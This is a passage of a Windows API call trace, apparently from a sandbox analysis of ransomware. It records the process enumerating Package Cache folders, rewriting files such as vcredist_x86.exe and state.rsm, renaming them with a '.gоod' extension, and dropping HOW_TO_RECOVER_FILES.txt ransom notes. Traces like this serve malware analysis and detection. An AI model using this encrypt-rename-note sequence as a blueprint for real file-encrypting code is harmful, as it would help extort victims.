Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0101.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0101.349] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0101.351] GetFileType (hFile=0x7c8) returned 0x1 [0101.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0101.351] GetFileType (hFile=0x7c8) returned 0x1 [0101.352] WriteFile (in: hFile=0x7c8, lpBuffer=0x3408880*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3408880*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0101.353] CloseHandle (hObject=0x7c8) returned 1 [0101.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0101.353] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpFilePart=0x0) returned 0x43 [0101.353] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0101.354] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.354] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x35efb7db, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0101.354] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2547a05, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0101.354] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0101.354] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0101.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0101.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0101.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0101.355] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpFilePart=0x0) returned 0x43 [0101.355] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0101.355] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.355] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x35efb7db, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0101.355] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2547a05, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0101.355] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2547a05, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0101.356] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0101.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0101.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0101.356] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", lpFilePart=0x0) returned 0x4d [0101.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0101.356] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), fInfoLevelId=0x0, lpFileInformation=0x3418110 | out: lpFileInformation=0x3418110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x35efb7db, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x27e)) returned 1 [0101.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0101.357] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", lpFilePart=0x0) returned 0x4d [0101.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0101.357] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0101.357] GetFileType (hFile=0x20c) returned 0x1 [0101.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0101.357] GetFileType (hFile=0x20c) returned 0x1 [0101.357] GetFileSize (in: hFile=0x20c, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x27e [0101.357] ReadFile (in: hFile=0x20c, lpBuffer=0x3418648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3418648*, lpNumberOfBytesRead=0x1f59dd38*=0x27e, lpOverlapped=0x0) returned 1 [0101.415] CloseHandle (hObject=0x20c) returned 1 [0102.181] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", lpFilePart=0x0) returned 0x4d [0102.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0102.181] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0102.182] GetFileType (hFile=0x7dc) returned 0x1 [0102.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0102.183] GetFileType (hFile=0x7dc) returned 0x1 [0102.183] WriteFile (in: hFile=0x7dc, lpBuffer=0x35915a0*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x35915a0*, lpNumberOfBytesWritten=0x1f59dc48*=0x280, lpOverlapped=0x0) returned 1 [0102.184] CloseHandle (hObject=0x7dc) returned 1 [0102.184] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", lpFilePart=0x0) returned 0x4d [0102.184] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.gоod", lpFilePart=0x0) returned 0x52 [0102.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0102.184] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x391db43d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280)) returned 1 [0102.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0102.184] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.gоod" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.gоod")) returned 1 [0102.501] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", lpFilePart=0x0) returned 0x54 [0102.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0102.501] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), fInfoLevelId=0x0, lpFileInformation=0x394bfe8 | out: lpFileInformation=0x394bfe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2547a05, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x71080)) returned 1 [0102.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0102.503] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", lpFilePart=0x0) returned 0x54 [0102.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0102.503] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0102.503] GetFileType (hFile=0x7dc) returned 0x1 [0102.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0102.503] GetFileType (hFile=0x7dc) returned 0x1 [0102.503] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0102.503] ReadFile (in: hFile=0x7dc, lpBuffer=0x394c450, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x394c450*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0102.506] CloseHandle (hObject=0x7dc) returned 1 [0102.506] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", lpFilePart=0x0) returned 0x54 [0102.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0102.506] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0102.506] GetFileType (hFile=0x7dc) returned 0x1 [0102.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0102.506] GetFileType (hFile=0x7dc) returned 0x1 [0102.506] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x71080 [0102.506] WriteFile (in: hFile=0x7dc, lpBuffer=0x394fa58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x394fa58*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0102.555] CloseHandle (hObject=0x7dc) returned 1 [0102.555] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", lpFilePart=0x0) returned 0x54 [0102.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0102.555] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0102.555] GetFileType (hFile=0x7dc) returned 0x1 [0102.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0102.555] GetFileType (hFile=0x7dc) returned 0x1 [0102.555] ReadFile (in: hFile=0x7dc, lpBuffer=0x34e72b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x34e72b0*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0102.586] CloseHandle (hObject=0x7dc) returned 1 [0102.586] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", lpFilePart=0x0) returned 0x54 [0102.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0102.586] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0102.586] GetFileType (hFile=0x7dc) returned 0x1 [0102.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0102.586] GetFileType (hFile=0x7dc) returned 0x1 [0102.586] WriteFile (in: hFile=0x7dc, lpBuffer=0x34e5fe0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x34e5fe0*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0102.586] CloseHandle (hObject=0x7dc) returned 1 [0102.586] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", lpFilePart=0x0) returned 0x54 [0102.586] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.gоod", lpFilePart=0x0) returned 0x59 [0102.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0102.587] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x395bb29e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x71090)) returned 1 [0102.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0102.587] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.gоod" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.gоod")) returned 1 [0102.587] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0102.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0102.588] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0103.816] GetFileType (hFile=0x6e4) returned 0x1 [0103.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0103.816] GetFileType (hFile=0x6e4) returned 0x1 [0104.209] WriteFile (in: hFile=0x6e4, lpBuffer=0x3251470*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3251470*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0104.210] CloseHandle (hObject=0x6e4) returned 1 [0104.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0104.210] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpFilePart=0x0) returned 0x43 [0104.210] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.211] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, 